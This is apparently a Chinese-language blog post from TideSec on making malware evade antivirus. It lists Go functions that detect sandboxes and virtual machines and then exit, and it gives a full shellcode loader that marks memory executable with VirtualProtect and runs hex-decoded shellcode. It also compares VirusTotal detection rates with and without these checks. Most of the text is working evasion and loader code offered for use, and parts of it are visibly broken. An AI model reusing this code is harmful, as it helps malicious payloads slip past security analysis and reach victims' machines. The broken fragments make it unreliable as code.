

免杀专题文章及工具：<https://github.com/TideSec/BypassAntiVirus>

免杀专题在线文库：<http://wiki.tideseccom/docs/bypassav>

本文涉及的所有代码和资料：<https://github.com/TideSec/GoBypassAV/>

0x00 引用说明

本文内容参考节选自以下资料：

反虚拟机和沙箱检测：<https://www.freebuf.com/articles/system/202717.html>

Golang实现沙箱识别：https://blog.51cto.com/u_15127583/4364960

Bypass AV 思路：<https://github.com/Ed1s0nZ/GoYiyi>

0x01 关于反沙箱检测

沙箱是用于隔离正在运行的程序的安全机制。它通常用于执行未经测试或不受信任的程序或代码，这个程序代码可能来自未经验证的或不受信任的第三方、供应商、用户或网站，而不会危害主机或操作系统。

在规避技术中，由于目前沙箱正成为判断恶意威胁的一种最快速和最简单的方式，因此反沙箱检测是比较重要的一类技术。

因为之前对这方面了解较少，所以这里搜集汇总了一些基于GO的沙箱检测方法。

0x02 基于Go的沙箱检测

2.1 操作系统语言检测

因为沙箱基本都是英文，所以根据首选操作系统语言是不是中文来判断是否为沙箱环境，简单粗暴一些。

而且依赖 golang.org/x/sys/windows 包，使用该包会增大exe程序0.3M左右。

```
func check_language() {
```

```

    a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)
    if a[0] != "zh-CN" {
        os.Exit(1)
    }
}

```

2.2 操作系统信息

执行wmic命令，返回操作系统信息，根据关键字来判断，也是略简单粗暴。

```

func check_virtual() (bool, error) { // 识别虚拟机
    model := ""
    var cmd *exec.Cmd
    cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
    stdout, err := cmd.Output()
    if err != nil {
        return false, err
    }
    model = strings.ToLower(string(stdout))
    if strings.Contains(model, "VirtualBox") || strings.Contains(model, "v") ||
        strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") {
        return true, nil //如果是虚拟机则返回true
    }
    return false, nil
}

```

2.3 检测系统文件

根据虚拟机或沙箱可能存在的一些文件，来进行判断。

```

func PathExists(path string) (bool, error) {
    _, err := os.Stat(path)
    if err == nil {
        return true, nil
    }
    if os.IsNotExist(err) {
        return false, nil
    }
    return false, err
}

```

```

}
func fack(path string) {
    b, _ := PathExists(path)
    if b {
        os.Exit(1)
    }
}
func check_file() {
    fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
    fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
    fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
    fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
    fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
    fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
    fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
    fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
    fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
    fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
    fack("C:\\windows\\System32\\vboxdisp.dll")
    fack("C:\\windows\\System32\\vboxhook.dll")
    fack("C:\\windows\\System32\\vboxoglerrorspsu.dll")
    fack("C:\\windows\\System32\\vboxoglpasssthroughpsu.dll")
    fack("C:\\windows\\System32\\vboxservice.exe")
    fack("C:\\windows\\System32\\vboxtray.exe")
    fack("C:\\windows\\System32\\VBoxControl.exe")
}

```

2.4 延迟运行检测

在各类检测沙箱中，检测运行的时间往往是比较短的，因为其没有过多资源可以供程序长时间运行，所以我们可以延迟等待一会儿后再进行真实的操作。

```

func timeSleep() (int, error) {
    startTime := time.Now()
    time.Sleep(5 * time.Second)
    endTime := time.Now()
    sleepTime := endTime.Sub(startTime)
    if sleepTime >= time.Duration(5*time.Second) {
        return 1, nil
    } else {
        return 0, nil
    }
}

```

2.5 开机时间检测

许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。

```
func bootTime() (int, error) {
    var kernel = syscall.NewLazyDLL("Kernel32.dll")
    GetTickCount := kernel.NewProc("GetTickCount")
    r, _, _ := GetTickCount.Call()
    if r == 0 {
        return 0, nil
    }
    ms := time.Duration(r * 1000 * 1000)
    tm := time.Duration(30 * time.Minute)
    if ms < tm {
        return 0, nil
    } else {
        return 1, nil
    }
}
```

2.6 检测物理内存

当今大多数pc具有4GB以上的RAM,我们可以检测RAM是否大于4GB来判断是否是真实的运行机器。

```
func physicalMemory() (int, error) {
    var mod = syscall.NewLazyDLL("kernel32.dll")
    var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
    var mem uint64
    proc.Call(uintptr(unsafe.Pointer(&mem)))
    mem = mem / 1048576
    if mem < 4 {
        return 0, nil
    }
    return 1, nil
}
```

2.7 检测CPU核心数

大多数pc拥有4核心cpu，许多在线检测的虚拟机沙盘是2核心，我们可以通过核心数来判断是否为真实机器或检测用的虚拟沙箱。

```
func numberOfCPU() (int, error) {
    a := runtime.NumCPU()
    if a < 4 {
        return 0, nil
    } else {
        return 1, nil
    }
}
```

2.8 检测临时文件数

正常使用的系统，其中用户的临时文件夹中有一定数量的临时文件，可以通过判断临时文件夹内的文件数量来检测是否在沙箱中运行。

```
func numberOfTempFiles() (int, error) {
    conn := os.Getenv("temp")
    var k int
    if conn == "" {
        return 0, nil
    } else {
        local_dir := conn
        err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
            if fi.IsDir() {
                return nil
            }
            k++
            return nil
        })
        if err != nil {
            return 0, nil
        }
    }
    if k < 30 {
        return 0, nil
    }
    return 1, nil
}
```

0x03 沙箱检测对比



我这使用相同的shellcode加载代码，一个使用沙箱检测，一个不使用沙箱检测。

```
func Run11(sc []byte) {
    fly := func() {}
    var xx uint32
    if !aaa(unsafe.Pointer(**uintptr)(unsafe.Pointer(&fly)), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) {
        **(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
        var yy uint32
        aaa(unsafe.Pointer(**uintptr)(unsafe.Pointer(&sc)), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy))
        fly()
    }
}

func ScFromHex(scHex string) []byte{
    var charcode []byte
    charcode, _ = hex.DecodeString(string(scHex))
    return charcode
}

func main() {
    check_language()
    check_sandbox()
    check,_ := check_virtual()
    if check == true{
        os.Exit( code: 1)
    }
    sccode := ScFromHex( scHex: "120a015d5a4040514343445952555a4015544042105b52515a1b455340434c0b5157521a4803464"
    Run11(sccode)
```

常规编译命令，两个文件大小相差0.3M。

名称	修改日期	类型	大小
 main-sandbox.exe	2022/7/26 11:18	应用程序	1,609 KB
 main.exe	2022/7/26 11:18	应用程序	1,316 KB

未使用沙箱检测技术的，VT查杀结果为：10/71

10

/ 71

?

Community Score

10 security vendors and no sandboxes flagged this file as malicious

f749d5186bf4c4ba9cb2c3d9127b3f03f0e81cece1629d985eb970a50ddcf221
main.exe
64bits assembly peexe

1.29 MB
Size
2022-07-26 03:31:15 UTC
a moment ago



DETECTIONDETAILSBEHAVIORCOMMUNITY

Security Vendors' Analysis

Acronis (Static ML)	Suspicious	Avast	Win64:Evo-gen [Susp]
AVG	Win64:Evo-gen [Susp]	Cynet	Malicious (score: 100)
Elastic	Malicious (high Confidence)	Ikarus	PUA.Obfuscated
Malwarebytes	Malware.AI.2453971850	MaxSecure	Trojan.Malware.300983.susgen
SecureAge APEX	Malicious	SentinelOne (Static ML)	Static AI - Suspicious PE
Ad-Aware	Undetected	AhnLab-V3	Undetected
Alibaba	Undetected	ALYac	Undetected
Antiy-AVL	Undetected	Arcabit	Undetected
Avira (no cloud)	Undetected	Baidu	Undetected
BitDefender	Undetected	BitDefenderTheta	Undetected
Bkav Pro	Undetected	ClamAV	Undetected

使用了沙箱检测技术的，VT查杀结果为：8/70

8

/ 70

?

Community Score

8 security vendors and no sandboxes flagged this file as malicious

40ba1de6801fcc51e79ab2634d7543f5e5bbe95701c0967c060227608aec550d

main-sandbox.exe

peexe runtime-modules

1.57 MB
Size

2022-07-26 03:31:24 UTC
a moment ago

EXE

DETECTION

DETAILS

BEHAVIOR

COMMUNITY

Security Vendors' Analysis ⓘ

Bkav Pro	ⓘ W32.AIDetect.malware2	Cylance	ⓘ Unsafe
Elastic	ⓘ Malicious (moderate Confidence)	Ikarus	ⓘ Trojan-Dropper.WinGo.Agent
Rising	ⓘ Trojan.Generic@AI.85 (RDML.unajeSIS...	SecureAge APEX	ⓘ Malicious
SentinelOne (Static ML)	ⓘ Static AI - Suspicious PE	Trellix (FireEye)	ⓘ Generic.mg.6e74d50bb83f78da
Acronis (Static ML)	✔ Undetected	Ad-Aware	✔ Undetected
AhnLab-V3	✔ Undetected	Alibaba	✔ Undetected
ALYac	✔ Undetected	Antiy-AVL	✔ Undetected
Arcabit	✔ Undetected	Avast	✔ Undetected
Avira (no cloud)	✔ Undetected	Baidu	✔ Undetected
BitDefender	✔ Undetected	BitDefenderTheta	✔ Undetected

额，好像差别也不是很大。而且加了虚拟机检测后，自己调试也麻烦了。

0x04 完整代码

```
package main

import (
    "encoding/hex"
    "golang.org/x/sys/windows"
    "os"
    "os/exec"
    "path/filepath"
    "runtime"
    "strings"
    "syscall"
    "time"
    "unsafe"
)

// 检测语言，依赖windows数据包，编译后会增加0.6M大小
```



```

func check_language() {
    a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)
    if a[0] != "zh-CN" {
        os.Exit(1)
    }
}

```

```

func check_sandbox() {
    // 1. 延时运行
    timeSleep1, _ := timeSleep()
    // 2. 检测开机时间
    bootTime1, _ := bootTime()
    // 3. 检测物理内存
    physicalMemory1, _ := physicalMemory()
    // 4. 检测CPU核心数
    numberOfCPU1, _ := numberOfCPU()
    // 5. 检测临时文件数
    numberOfTempFiles1, _ := numberOfTempFiles()
    level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1
    //fmt.Println("level:", level)
    if level < 4 {
        os.Exit(1)
    }
}

```

```

// 1. 延时运行
func timeSleep() (int, error) {
    startTime := time.Now()
    time.Sleep(5 * time.Second)
    endTime := time.Now()
    sleepTime := endTime.Sub(startTime)
    if sleepTime >= time.Duration(5*time.Second) {
        //fmt.Println("睡眠时间为:", sleepTime)
        return 1, nil
    } else {
        return 0, nil
    }
}

```

// 2. 检测开机时间
 // 许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。

```

func bootTime() (int, error) {
    var kernel = syscall.NewLazyDLL("Kernel32.dll")
    GetTickCount := kernel.NewProc("GetTickCount")
    r, _, _ := GetTickCount.Call()
}

```

```

        if r == 0 {
            return 0, nil
        }
        ms := time.Duration(r * 1000 * 1000)
        tm := time.Duration(30 * time.Minute)
        //fmt.Println(ms,tm)
        if ms < tm {
            return 0, nil
        } else {
            return 1, nil
        }
    }
}

// 3、物理内存大小
func physicalMemory() (int, error) {
    var mod = syscall.NewLazyDLL("kernel32.dll")
    var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
    var mem uint64
    proc.Call(uintptr(unsafe.Pointer(&mem)))
    mem = mem / 1048576
    //fmt.Printf("物理内存为%dG\n", mem)
    if mem < 4 {
        return 0, nil // 小于4GB返回0
    }
    return 1, nil // 大于4GB返回1
}

func numberOfCPU() (int, error) {
    a := runtime.NumCPU()
    //fmt.Println("CPU核心数为:", a)
    if a < 4 {
        return 0, nil // 小于4核心数,返回0
    } else {
        return 1, nil // 大于4核心数, 返回1
    }
}

func numberOfTempFiles() (int, error) {
    conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
    var k int
    if conn == "" {
        //fmt.Println("未找到temp文件夹, 或temp文件夹不存在")
        return 0, nil
    } else {
        local_dir := conn
        err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) bool {
            if err != nil {
                return false
            }
            if fi.IsDir() {
                return true
            }
            if strings.Contains(filename, ".tmp") {
                k++
            }
            return true
        })
        if err != nil {
            return 0, err
        }
        return k, nil
    }
}

```

```

        if fi.IsDir() {
            return nil
        }
        k++
        // fmt.Println("filename:", filename) // 输出文件名字
        return nil
    })
    //fmt.Println("Temp总共文件数量:", k)
    if err != nil {
        // fmt.Println("路径获取错误")
        return 0, nil
    }
}
if k < 30 {
    return 0, nil
}
return 1, nil
}

func check_virtual() (bool, error) { // 识别虚拟机
    model := ""
    var cmd *exec.Cmd
    cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
    stdout, err := cmd.Output()
    if err != nil {
        return false, err
    }
    model = strings.ToLower(string(stdout))
    if strings.Contains(model, "VirtualBox") || strings.Contains(model, "VMware") ||
        strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") {
        return true, nil //如果是虚拟机则返回true
    }
    return false, nil
}

func PathExists(path string) (bool, error) {
    _, err := os.Stat(path)
    if err == nil {
        return true, nil
    }
    if os.IsNotExist(err) {
        return false, nil
    }
    return false, err
}

func fack(path string) {

```

```

    b, _ := PathExists(path)
    if b {
        os.Exit(1)
    }
}

func check_file() {
    fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
    fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
    fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
    fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
    fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
    fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
    fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
    fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
    fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
    fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
    fack("C:\\windows\\System32\\vboxdisp.dll")
    fack("C:\\windows\\System32\\vboxhook.dll")
    fack("C:\\windows\\System32\\vboxoglerrorspsu.dll")
    fack("C:\\windows\\System32\\vboxoglpasssthroughpsu.dll")
    fack("C:\\windows\\System32\\vboxservice.exe")
    fack("C:\\windows\\System32\\vboxtray.exe")
    fack("C:\\windows\\System32\\VBoxControl.exe")
}

var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool {
    ret, _, _ := VirtualAlloc.Call(
        uintptr(a),
        uintptr(b),
        uintptr(c),
        uintptr(d))
    return ret > 0
}

func Run(sc []byte) {
    fly := func() {}
    var xx uint32
    if !aaa(unsafe.Pointer(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(fly))
    }
    **(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
    var yy uint32
    aaa(unsafe.Pointer(**uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)),
    fly()
}

```

```
}

func ScFromHex(scHex string) []byte{
    var charcode []byte
    charcode, _ = hex.DecodeString(string(scHex))
    return charcode
}

func main() {
    check_language()
    check_file()
    check,_ := check_virtual()
    if check == true{
        os.Exit(1)
    }
    check_sandbox()
    sccode := ScFromHex("shellcode")
    Run(sccode)
}
```

0x05 参考资料

Go语言进行简单的反虚拟机检测: <https://www.nctry.com/2243.html>

反虚拟机和沙箱检测: <https://www.freebuf.com/articles/system/202717.html>

Golang实现沙箱识别: https://blog.51cto.com/u_15127583/4364960

各种go-shellcode: <https://github.com/Ne0nd0g/go-shellcode>